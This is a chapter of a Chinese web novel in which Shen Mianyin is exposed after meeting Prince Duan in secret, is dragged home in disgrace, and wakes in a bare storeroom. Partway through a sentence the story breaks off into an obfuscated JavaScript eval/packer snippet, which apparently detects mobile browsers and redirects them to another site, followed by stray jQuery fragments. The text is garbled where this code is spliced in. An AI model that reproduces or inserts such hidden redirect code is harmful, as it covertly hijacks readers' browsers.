20. 肖似故人

作品:《被夺舍的炮灰嫡长女重生了

    琴晓沐倒也没想到端王会这么快地便改口承认,但听见端王一番欲抑先扬,最后似乎只愿给沈眠音一个良妾的名头,她稍显咄咄逼人的气势凝滞一瞬,接着便低下了头似为妥协,道:


    “那臣妇便替这没规矩的二侄女谢过殿下恩典了。”


    低头谢恩的动作掩过了眸中的嘲弄与幸灾乐祸,再抬头时琴晓沐勉强收起了那些太过明显的情绪,仍是有些严肃地微微皱着眉,说道:“虽然已有殿下千金一诺,但既然尚未过门,二小姐便依然是沈家的女儿,私自在外过夜总是不合礼法规矩的。”


    “二夫人说得是。”李崇岳淡淡开口,既然事情已然败露且敲定了解决方案,他也就不再阻拦琴晓沐,“只是眠音此番恐怕难免会受到惊吓,在本王送彩礼上门前,还望她能安心待在府中养好身体。”


    “自然会的。”沈银屏想,如果她叔母面对的人不是王爷,恐怕这会说的就是“不劳你操心”了。


    连云与晴碧得了指令,动手便打算把帘子拉开将沈眠音带回沈府。却未想私会暴露,一切都已板上钉钉,沈眠音竟还死死拉紧着帘子,不知是自欺欺人,还是当真如此不想与她们回府。


    不过这会连云与晴碧可没有顾忌,她们两个人力气加起来可比娇滴滴的二小姐大得多,不一会就将帘子扯开了。帘子掀开的那一刻连云望见一片白花花的身体,即便心中有所预料还是忍不住瞪圆了眼睛。


    沈眠音身上原本是裹着外衣的,然而经过方才一通抢床帘的动作,腰上系带早就松了,衣领处更是直接荡开一大个口子。


    连云眉心打结,考虑到沈眠音怎么朝也是沈家的二小姐,她急忙与晴碧一起挡在床前遮住半泄的春光,一边伸手想赶紧帮人把衣服重新裹上。孰料沈眠音看都不带看她们两人一眼,也不重新把腰带系上,只用一只手捂着衣服,十分着急慌乱地、又如泥鳅一般从她们两人之间钻了出去。


    她根本顾不上穿鞋,手指扒过屏风的边缘,她身子半贴上了屏风借此稳住了脚步,气息因为焦虑与慌张而十分急促。周围众人都被她视若无物,她抬起一张惨白的小脸,目光直指正中站着的李崇岳:“殿下,殿下!不要赶眠音走!眠音知错了,眠音还有话想同您说啊殿下!”


    “不必担心,眠音,本王所许诺之事向来说到做到。你先安心回府,本王会尽快安排人上门提亲。”李崇岳话语虽好像关切,但显然并无将沈眠音留在身边的打算。甚至目光虽然温和而好似安抚,但那种情绪却也只是浮于表层。


    明明没有鲜明的谴责和恼火,但李崇岳的眼神还是让沈眠音喉头一滞。她唇瓣开合了一下,脑中又闪过李崇岳方才许下的诺言——良妾,不是侧妃不是贵妾,李崇岳竟然只给她一个良妾的名分,她怎么能接受!


    “殿下。”她强压下急切的心绪,放缓话音,颤着声又换上了一副可怜的姿态,“殿下,您让眠音这时候出去,不就是坐实了眠音与您私会的事实吗?这叫眠音、这叫眠音日后还如何在平城中立足啊!”


    话音落下,两行眼泪也顺着脸蛋滑了下来。李崇岳眉心的那点皱痕似乎加深了些,他轻轻叹了口气:“已经来不及了,眠音。沈二夫人为了找沈少爷,带了不少人出来,如今围在岸边的那些人,想来已能确认你就在这船上了。”


    “这是本王之失,本王会尽快将你娶过门,有本王在,自然不会让你受他人之舌的困扰。”


    话说到这里,几乎已经是挑明了送客的意图。沈眠音手指颤抖地抓着外衣,她不可置信地看着李崇岳,显然是想不明白李崇岳对她的态度忽然发生转变的原因。但未等她再次开口,她的手臂被人一把扯过,紧接着耳边便传来呵斥声:


    “下流的事都做尽了,这会倒是想起来爱惜名声了?你爹娘几个月不在城中,你就做出这样没脸没皮的事!还赖在这儿作甚?继续丢人现眼吗!”


    琴晓沐下手可不轻,沈眠音被抓得痛呼了一声,来不及反抗,连云与晴碧就冲上来一人抓住了她一边胳膊,竟生生拖着她往船外走去。


    “你去叫外边的人都散开。”沈银屏适时吩咐了江梅一句,继续扮演着尽心尽力的长姐形象。


    当然,她话是这么吩咐下去了,在场之人的眼睛却也不是她能控制得了的。如今的沈眠音衣冠不整长发散乱,又没有毯子或多余的衣袍给她遮脸,这么一趟下去,沈眠音大抵确实是如她自己口中所说那样——没有脸在平城中立足了。


    “不!我不走!放开我!二叔母,你们不能这么对我!”


    “二小姐,您赶紧收声吧,还不够丢人吗!”连云牢牢锁着不断挣扎的沈眠音,压低了声音道。


    直到跌跌撞撞地出了门,沈眠音便是再有不甘,还是为了自己最后这点颜面闭上了嘴。结果转头便看见岸边数十盏提灯——她这好叔母当真是带了这么多人出来,也就是说,她这点见不得人的事当真要人尽皆知了。


    她素来爱惜自己名声,在平城中素来有冰清玉洁的才女之名,如今她与人私会之事被这么多人瞧见,哪怕警告他们不得外传,又如何能确认这么多人都守口如瓶?


    隔着胡乱地扒在脸上的发丝看了几眼岸边的人群,沈眠音终究是一口气没喘上来,直接晕了过去。


    随着沈眠音的昏倒,外边又是一阵闹闹哄哄的混乱。琴晓沐隐约听见了沈怀驰的呼声,连忙同端王行礼告退。沈银屏自然也紧随其后。


    她目不转睛,在略一屈膝后便抬步往船外走去。在与李崇岳擦肩而过时,却有一句意味不明的话语在耳边响起:


    “沈小姐果然是肖似故人。”


    她的脚步没有因此而停顿,直到回到岸上,一只手在她面前晃了好几下,她才蓦然发现自己的走神。


    她目光移动了些许,看到正唤回她注意力的人是沈拘鸾:“怎么了?”


    “姐姐怎么心不在焉呐?我刚在问你,船上发生什么事了?”沈拘


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299203|198437||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    鸾又重复了一遍问题。


    “你在外边应当都听得差不多了吧。”沈银屏瞥了他一眼,“你二姐姐估计马上便要出嫁了,不过在那之前,怕是还有好一顿家法伺候。我们先赶紧回府吧,今晚要是再出什么事,保不齐我们也要引火上身。”


    “我真没想到她竟然会在端王的船上……”沈拘鸾一边跟沈银屏一同往回走,一边不由得低声道,“二姐姐这胆子也太大了。她是什么时候同端王好上的?而且她今日不是还在禁足吗?”


    沈银屏懒得解答沈拘鸾倒豆子一般的问题,只在听到最后那句问话时抬了下眉:“她能出来,怕是和你脱不开关系。白日里为了找你那副手串,府里好一番鸡飞狗跳,她很可能便是趁着那时的混乱溜出沈府的。”


    “啊?”听闻此言,沈拘鸾果然无心再八卦沈眠音身上发生的事了,焦虑又纠结地开始思考起他因此被迁怒的可能性有多大。


    沈银屏不再搭理他,她瞧见等在前边的江梅的身影,便自己加快步子走到了前边。


    她心中又浮起了李崇岳方才说的那句话,一开始她还有些不太能确定那句话中的“沈小姐”指的是谁不过现在她已然想明白了——既然这句话是李崇岳特意说给她听的,那这“沈小姐”指向的当然就是她。


    故人?


    她与李崇岳之间,除了个沈眠音,还能有什么故人?


    她一时分析不出这句话的含义,被江梅扶着手臂,她抬目又望见正被沈怀驰揽着的,琴晓沐的背影,目中不由得又聚起些许思索之意。


    琴晓沐与沈眠音——或说是陈夫人陈绮钰的关系,好像比她预料得还要恶劣啊。


    -


    醒来时伴随着一阵令人发颤的冷意,沈眠音眼睛睁开了一些,又被直直照进眼睛的亮光刺激得重新闭上了眼。


    “香罗,你……”


    她正想斥责香罗为何她尚未醒来便将帘子拉开了,开口时却惊觉嗓音沙哑得厉害,她蓦地睁大眼睛,用有些僵硬的手在四周胡乱地摸索了一番——怎么回事,她怎么会躺在地上?


    直到狼狈地坐起身子,有关昨夜的、混乱的记忆才重新回笼。昨天那些人显然是把她带回沈府了,她身上也被加上了一件里衣,可外衣却还是昨天那件。


    她把散乱的、甚至有些打了结的头发捋到耳后,左右扫视了一圈,牙根越咬越紧——这根本不是她的房间,四面空空荡荡,别说床了,连椅子都找不到一张。角落里有两个垫子,她只一眼就能清晰看见上面的霉点。


    墙上有一个在她看来都不能称之为窗户的洞,刚刚闪到她眼睛的光线就是从这个洞里洒进来的,如今仔细看去,她还能看见浮动的灰尘。


    她的身体抖在不由自主地颤动,是被恶心的,但更多的是被气的。


    她还真不知道,沈府里还能有这么简陋寒酸的地方。


    那群人……她好叔母手下的那群人,竟然敢把她丢在这种地方!